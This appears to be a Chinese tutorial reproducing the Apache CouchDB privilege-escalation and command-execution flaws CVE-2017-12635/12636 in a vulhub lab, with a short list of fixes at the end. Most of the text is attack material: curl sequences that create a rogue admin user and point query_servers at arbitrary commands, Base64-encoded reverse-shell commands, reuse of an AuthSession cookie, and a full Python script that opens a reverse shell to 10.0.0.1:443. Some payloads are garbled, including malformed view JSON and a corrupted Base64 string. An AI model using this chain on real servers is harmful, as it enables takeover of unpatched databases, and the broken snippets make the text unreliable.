Couchdb 任意命令执行漏洞复现
字数 932 2025-08-15 21:32:58
Apache CouchDB 任意命令执行漏洞(CVE-2017-12636)复现指南
漏洞概述
Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为"完全拥抱web的数据库"。该漏洞允许攻击者通过config API修改CouchDB的配置query_server,从而在服务器上执行任意命令。
影响版本:
- 小于1.7.0的所有版本
- 小于2.1.1的所有版本
漏洞原理:
- CVE-2017-12635:由于Erlang和JavaScript对JSON解析方式的不同,导致非管理员用户可提升自身权限至管理员
- CVE-2017-12636:管理员可通过HTTP(S)方式配置数据库,设置可执行文件的路径,在数据库运行范围内执行任意命令
环境搭建
使用vulhub的docker镜像搭建测试环境:
docker-compose up -d
启动后访问http://your-ip:5984/可看到CouchDB欢迎页面。
漏洞复现步骤
1.6.0版本利用
- 创建管理员用户(若不知道管理员密码):
curl -X PUT 'http://your-ip:5984/_users/org.couchdb.user:vulhub' \
-d '{"type":"user","name":"vulhub","roles":["_admin"],"roles":[],"password":"vulhub"}' \
-H 'Content-Type:application/json'
- 执行漏洞利用:
# 1. 添加query_server配置,设置要执行的命令
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
# 2. 创建临时数据库和文档
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
# 3. 触发命令执行
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' \
-d '{"language":"cmd","map":""}' \
-H 'Content-Type:application/json'
2.1.0版本利用
- 获取节点名称:
curl http://vulhub:vulhub@your-ip:5984/_membership
- 修改节点配置:
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
- 创建数据库和文档:
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
- 创建视图触发命令执行:
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul \
-d '{"_id":"_design/test","views":{"wooyun":{"map"language":"cmd"}}' \
-H "Content-Type: application/json"
高级利用技巧
反弹Shell
直接反弹Shell可能失败,建议使用Base64编码:
- 创建包含以下内容的
shell_re.txt文件:
"bash -c '{echo,c2ggLWkgPiYgL2Rld*i4xODAvODg0MyAwPiYx}|{base64,-d}|{bash,-i}'"
- 执行命令:
curl -X PUT 'http://vulhub:vulhub@X.X.X.X:5985/_config/query_servers/cmd' -d '@shell_re.txt'
curl -X POST 'http://vulhub:vulhub@X.X.X.X:5985/vultest/_temp_view?limit=10' \
-d '{"language":"cmd","map":""}' \
-H 'Content-Type:application/json'
使用Cookie认证
可以不使用账号密码,直接使用Cookie认证:
curl -X PUT 'http://192.168.199.181:5984/_config/query_servers/cmd' \
-d '"python /tmp/back.py"' \
-H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"
自动化利用脚本
#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth
target = 'http://your-ip:5984'
command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""
version = 1
session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
"type": "user",
"name": "wooyun",
"roles": ["_admin"],
"roles": [],
"password": "wooyun"
}''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))
session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":"","language":"cmd"}}}')
修复建议
- 升级到CouchDB 1.7.0或2.1.1及以上版本
- 限制访问CouchDB的5984端口,仅允许可信IP访问
- 使用强密码保护管理员账户
- 定期检查数据库配置,特别是
query_servers相关配置
参考链接
- http://bobao.360.cn/learning/detail/4716.html
- https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
- https://vulhub.org/#/environments/couchdb/CVE-2017-12636/
- https://github.com/vulhub/vulhub